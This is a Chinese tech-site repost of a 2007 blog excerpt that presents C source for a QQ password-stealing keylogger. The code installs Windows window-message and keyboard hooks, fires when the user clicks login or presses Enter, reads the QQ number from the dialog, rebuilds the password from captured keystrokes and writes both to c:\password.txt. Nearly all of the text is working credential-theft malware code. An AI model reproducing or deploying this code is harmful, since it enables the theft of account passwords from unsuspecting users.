扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:余和均 来源:BLOG 2007年10月27日
关键字: Linux
// 钩子过程,监视“登陆”的命令消息 LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) { CWPSTRUCT *p = (CWPSTRUCT *)lParam; // 捕获“登陆”按钮 if (p->message == WM_COMMAND && p->wParam ==16032) //下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明 //当用户点了登陆按钮,说明QQ号码和QQ密码已经填写完毕,当然可以去获得密码了 GetPasswrod(); return CallNextHookEx(g_hProc, nCode, wParam, lParam); } // 键盘钩子过程,监视“登陆”的热键消息 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { // 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的 pmsg[i].wParam =wParam; i++; if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就可以可以去获得密码了 GetPasswrod(); return CallNextHookEx(g_hKey, nCode, wParam, lParam); } |
void GetPasswrod() { //声明变量和初始化 HANDLE f; TCHAR num[13]; TCHAR psw[21]; TCHAR total[50]; int j; memset(num,0,sizeof(num)); memset(total,0,sizeof(total)); memset(psw,0,sizeof(psw)); DWORD dw; //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的 GetWindowText(g_hNum,(LPSTR)num,sizeof(num)); //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码 //提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码 for(j=0;j<20;j++) { psw[j]=(TCHAR)pmsg[j*2].wParam ; } psw[j+1]=’\0’; //把QQ号码和QQ密码写入C盘password.txt中 f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); strcat(total,"号码"); strcat(total,num); strcat(total,"密码:"); strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL); CloseHandle(f); } |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者